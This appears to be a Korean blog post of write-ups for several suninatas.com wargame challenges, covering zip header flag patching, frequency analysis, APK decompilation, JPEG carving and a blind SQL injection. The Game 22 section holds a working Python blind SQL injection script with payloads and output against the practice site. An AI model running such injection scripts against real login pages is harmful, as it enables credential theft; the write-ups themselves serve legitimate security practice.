URL은 다음과 같다.

Game 28 (suninatas.com)

 

Game 28

않을까 걱정하다가 시름시름 앓고 있다는 전설이 있다.

www.suninatas.com


해결책

일단.... 문제를 만들어주신 heizelnet님께 감사드린다. down을 눌러서 다운로드를 하면 So_Simple.zip이라는 압축파일을 구할 수 있으나, 해제를 해보면 비밀번호가 걸려있는 것을 확인할 수 있다.

문제 content인 내용 중 "암호가 있기는 한 걸까?"라는 말이 마음에 걸린다. 어쩌면 암호는 없는데, 암호화가 되었습니다! 라는 플래그만 설정된건 아닐까? 여기서 위키찬스다

보고 계신 이것은 zip이라는 확장자의 header 구조이다. offset(0x6 ~ 0x7)은 다음과 같은 bit 특성을 가진다.

  • bit 0 : 암호화
  • bit 1~2 : 압축 옵션
  • bit 3 : 데이터 설명자
  • bit 4 : 향상된 압축해제
  • bit 5 : 패치 데이터 압축됨
  • bit 6 : 강한 압축
  • bit 7~10 : 미사용
  • bit 11 : 언어 부호화
  • bit 12 : 예약 비트
  • bir 13 : 헤더 마스크 값
  • bit 14~15 : 예약 비트

그렇다. So_Simple.zip의 비트의 Flags는 09 08로 이를 bit로 보면(00001000 00001001)이다.(리틀 엔디안!) 여기서 암호화를 나타내는 첫 번째 비트인 1을 0으로 바꾸어 08 08로 바꾸면 된다. 이 header는 압축파일 전역에서 확인할 수 있다.

전부다 오른쪽처럼 08 08로 바꾸어 주었다. 암축 해제는 문제없이 되었고, Am_I_KeyN.라는 파일들이 나오는데, 전부 바꾸었다면 Am_I_key.zip는 이상 없이 압축 해제할 수 있다. 안쪽에는 key를 base64로 표현한 txt 파일이 있다. decoding 하면 Auth Key를 구할 수 있다.

URL은 다음과 같다.

Game 27 (suninatas.com)

 

 

Game 27

investigators are certain that the message has some secret, however they can't find any clue.

www.suninatas.com


해결책

해석을 하면, IRC(Internet Relay Chat) 서버를 도청한 NSA가 Mafia의 Key를 알아내는 문제이다. 링크가 걸린 down으로 들어가 보자

엄청 방대한 문자열이 우리를 반긴다. 여러분의 시간은 소중하니까 대충 이야기를 하면, pruss라는 친구 마피아와 저 글을 쓴 필자의 컴퓨터 암호에 관한 대화 내용이다. 중간에 mafia@russia.ru 같은 서버도 보이고, key나 password라는 문자열도 많이 보이지만, 전부 유효하지 못하다. 이 문제를 접근하는 가장 좋은 방법은 문제의 제목 속에 숨어있다.

위 사진은 헥사편집기인 hxd에서 message.txt를 open 한 내용이다. 무슨 의미일까? 문제의 제목은 우리를 x86에서 열어보라고 하고 있다. 보통 x86을 이야기한다면 PE32 포맷으로 debugging을 하라는 의미일 텐데.... 한번 디버거를 열어서 저 문자열이 의미 있는 문자열인지 보자

남의 PC에서 하고 있다보니까... x 32 dbg를 사용하여 HxD Installer를 열었고, [바이너리 편집기]를 이용해서 메모리 상의 주소를 message.txt의 내용으로 덮어씌워주었다.

그 후 덮어씌워진 주소의 맨 처음을 EIP(다음 실행할 명령어 주소)로 설정하고 run 했다. Run을 하고 잠시 관찰하면 알 수 있는 내용인데, eax의 값이 inc, dec 되면서 ascii값으로 왔다 갔다 하고, 문자 입력의 느낌으로 push명령어가 호출된다. 따라가 보면 이번 문제의 key인 key_is_○○○○○○○를 구할 수 있다.

 

* 여담인데, 가독성 있는 메시지로 이런 포맷을 만들어낸 문제 출제자의 실력에 감탄을 금치 못하겠다. Thanks to DaeHee라고 되어있는데, 좋은 문제를 만들어 주셨음에 필자도 진심으로 감사를 표한다.

URL은 다음과 같다.

Game 26 (suninatas.com)

 

Game 26

szqkagczvcvyabpsyincgozdainvscbnivpnzvbpnyfkqhzmmpcqhzygzgfcxznvvzgdfnvbpnjyifxmpcqhzygbpnoyaimygbzgngbvmpcqhzygcbpinnbzqndicgxhiztozgcfmpcqhzygbpnjyifxeagzyimpcqhzygbpneagzyidicgxhiztozgcfmpcqhzygcgxcoyaibzqnvyabpsyincggcbzygcfmpcqhzygszqzvbpnozivbvyabpsy

www.suninatas.com


해결책

영어를 해석하면 다음과 같다.

일단 빈도 분석이라는 게 무엇이냐.

암호학에서의 빈도분석(頻度分析, frequency analysis 또는 counting letters)이란 평문과 암호문에 사용되는 문자 또는 문자열의 출현빈도를 단서로 이용하는 암호해독법을 말한다. 평문 언어의 통계적 특징을 전제로 하여, 암호문만을 사용해서 해독을 진행하기 때문에, 암호문 단독공격으로 분류된다.(중략)

- 출처 : 위키백과(빈도분석(암호)) : https://ko.wikipedia.org/wiki/%EB%B9%88%EB%8F%84%EB%B6%84%EC%84%9D_(%EC%95%94%ED%98%B8)

 

단순하게 생각하면 알파벳을 세는 것이다. 다음의 문자열이 있다고 가정해보자. 아래는 평문이다

"I have a lot's of friend.  i'm not lying. why are you crying? Don't be so sad at being outsider. 
You'll be always outsider."

이 슬픈 문장을 대치 암호를 통해서 암호문을 만들었다고 가정하자. 영어의 알파벳에서 가장 많이 쓰이는 역시 모음인 e, i, o, a, u인데, 일반적으로 알려진 이 상식을 통해서 대치 암호문의 결과에서 많이 나오는 알파벳을 많이 쓰이는 알파벳 순서대로 매칭 해서 평문 해석을 하는 분석 방식이다. 아래는 위의 문장을 빈도 분석한 결과이다.

{'a': 7, 'b': 3, 'c': 1, 'd': 4, 'e': 8, 'f': 2, 'g': 3, 'h': 2, 'i': 7, 'l': 5, 
'm': 1, 'n': 6, 'o': 9, 'r': 5, 's': 6, 't': 6, 'u': 4, 'v': 1, 'w': 2, 'y': 5, 
'D': 1, 'I': 1, 'Y': 1}

### o가 가장많은 9개, e가 다음인 9개, i가 7가 다음이다.
### 위에 평문을 암호한 결과가 뭐시기 나올때 그 암호문을 빈도분석했을때 s가 가장많이 나왔으면 그걸
### 통상적으로 e라고 가정할 수 있고, 다음많은게 d라면 그걸 o로 가정할 수 있는 거다.

 

다행히도 이걸 해주는 사이트가 있다.

quipqiup - cryptoquip and cryptogram solver

 

quipqiup - cryptoquip and cryptogram solver

 

quipqiup.com

이 사이트를 간단하게 소개를 해주면, 빈도 분석뿐만 아니라 간단한 암호화 문제(DES 처리된 거 이런 거 말고, ROT나 카이사르 암호들도 해석해 준다. 빈도 분석의 결과는 다음과 같다.

정답은

정답은 직관적이다.

URL은 다음과 같다.

http://suninatas.com/challenge/web24/web24.asp

 

Game 24

 

suninatas.com


해결책

들어가면 웹피이지가 우리를 반긴다.

Download를 하면 확장자가 없는 suninatas24를 받을 수 있다. hxd로 까 보자

50 4b 03 04로 일단 zip 파일 같긴 해이는데, 사실 바로 다음 String인 AndroidManifest.xml를 보아 apk파일인 것을 알 수 있다. 우선 앱을 설치해보자

id와 pw, 그리고 key를 입력하는 곳이 나온다. 

apk를 디컴파일할 필요가 있어 보인다. 우선 안드로이드 앱은 안드로이드 가상 머신인 dalvik이 이해할 수 있도록, java class파일을 바이트코드로 변환한 코드이다. 우선 이걸 다시 읽을 수 있게 해야 한다. 다행히도 좋은 툴이 있다.

https://sourceforge.net/projects/dex2jar/

 

dex2jar

Download dex2jar for free. Tools to work with android .dex and java .class files. Mirrors: * https://bitbucket.org/pxb1988/dex2jar * https://github.com/pxb1988/dex2jar dex2jar contains following compment * dex-reader is designed to read the Dalvik Executab

sourceforge.net

이를 활용해서 classes.dex를 jar로 변경할 수 있다. 또 jar 또한 class로 이루어져 있기 때문에 Decompile을 위해서 다른 툴을 사용할 거다

http://java-decompiler.github.io/

 

Java Decompiler

The “Java Decompiler project” aims to develop tools in order to decompile and analyze Java 5 “byte code” and the later versions. JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. You can browse the reco

java-decompiler.github.io

들어가면 main클래스라고 할 수 있는 mainactivity에 해결할 수 있는 방향이 보인다.

즉 id와 pw는 그냥 입력받고, key는 youtube URL과 연결되어있다. send 버튼을 눌러서 KEY를 받자

URL은 다음과 같다.

http://suninatas.com/challenge/web22/web22.asp

 

Game 22

select / Union / or / white space / by / having from / char / ascii / left / right / delay / 0x ..........

suninatas.com


해결책

들어가면 로그인 폼을 확인할 수 있다.

대놓고 blind SQL Injection문제라는 것을 구할 수 있다. 관례적으로는 admin의 패스워드를 구하는 문제가 될 거 같은데, 어떤 ID를 때려야 될지 주석에 힌트가 있나 보자

그렇다. admin 찾으면 되는 거 같다.

다음과 같은 Keyword가 필터링 되어있다.

  • select, union, or, white space, by, having, from, char, ascii, left, right, delay, 0x

일단 다 대체제가 보이긴 하는데, 사실 저거 말고 as나 부등호 같은 것도 막혀있다. 여러 가지 해보는 것 밖에는 답이 없을 거 같다. Query가 한 줄로 이루어진 건지 id 쪽에 작은따옴표를 적고 주석을 활용하면 코드부로 들어갈 수 있다.

EX > 

BLIND SQL Injection을 짜 보자

### 22.py


from requests import *
import string

if __name__ == "__main__" :
    abc = string.ascii_letters + string.digits+string.punctuation

    url = "http://suninatas.com/challenge/web22/web22.asp"
    cookie = {"ASP.NET_SessionId" : "NI GGEO SU SSI MYEON DUEP NI DA",
              "ASPSESSIONIDAQRBTDQD" : "NI GGEO SU SSI MYEON DUEP NI DA",
              "_ga" : "NI GGEO SU SSI MYEON DUEP NI DA"}
    length = 1
    ans = ""

    ### find length for pw
    while(True) :
        params = "?id=admin%27+and+len%28pw%29%3D"+str(length)+"--&pw=2"
        new_url = url+params
        rec = get(new_url,cookies=cookie)
        if(rec.text.find("OK  <font size=4 color=blue>admin")>0) :
            print("FOUND!")
            break
        else :
            print("fails..."+str(length))
            length += 1

	### Actual pw
    for i in range(1,length+1) :
        for a in abc :
            params = "?id=admin'+and+substring(pw,"+str(i)+",1)='"+a+"'--&pw=2"
            new_url = url+params
            rec = get(new_url,cookies=cookie)
            if(rec.text.find("OK  <font size=4 color=blue>admin")>0) :
                print("FOUND!",a)
                ans += a
                break

    print(ans)

결과는 다음과 같다.

fails...1
fails...2
fails...3
fails...4
fails...5
fails...6
fails...7
fails...8
fails...9
FOUND!
FOUND! N
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! )
N....................)

 

URL은 다음과 같다.

http://suninatas.com/challenge/web21/web21.asp

 

Game 21

What is a Solution Key? Is it a Puzzle?

suninatas.com


해결책

들어가면 사진을 한 장 확인할 수 있다.

모니터에 Solution Key is H4~하는 KEY가 보이는데, 자로 가려놓았다. 사진이 잘 안 보이는데, 억지로 보려고 하지 말고, 해결방법을 찾아보자

파일을 hxd로 열어보면 10개정도의 jpg 헤더와 푸터가 보인다.(FF D8, FF D9)

리눅스였으면 binwalk라는 좋은 툴이 있는데, 필자는 리눅스 박스가 없다. Python코드로 전체 조합을 다 사진으로 만들어 보았다.

### 21.py

if __name__ == "__main__" :
    start = list()
    end = list()

    cnt = 1

    with open("monitor.jpg","rb") as f:
        data = f.read()

    for i in range(len(data)-1) :
        if(data[i:i+2] == b"\xff\xd8") :
            start.append(i)
        elif(data[i:i+2] == b"\xff\xd9") :
            end.append(i+2)

    for s in start :
        for e in end :
            if(e>s) :
                with open("./output/"+str(cnt)+".jpg", "wb") as f:
                    f.write(data[s:e])
                    cnt += 1

사진은 다음과 같이 자를 비튼 사진으로 구할 수 있었다.

+ Recent posts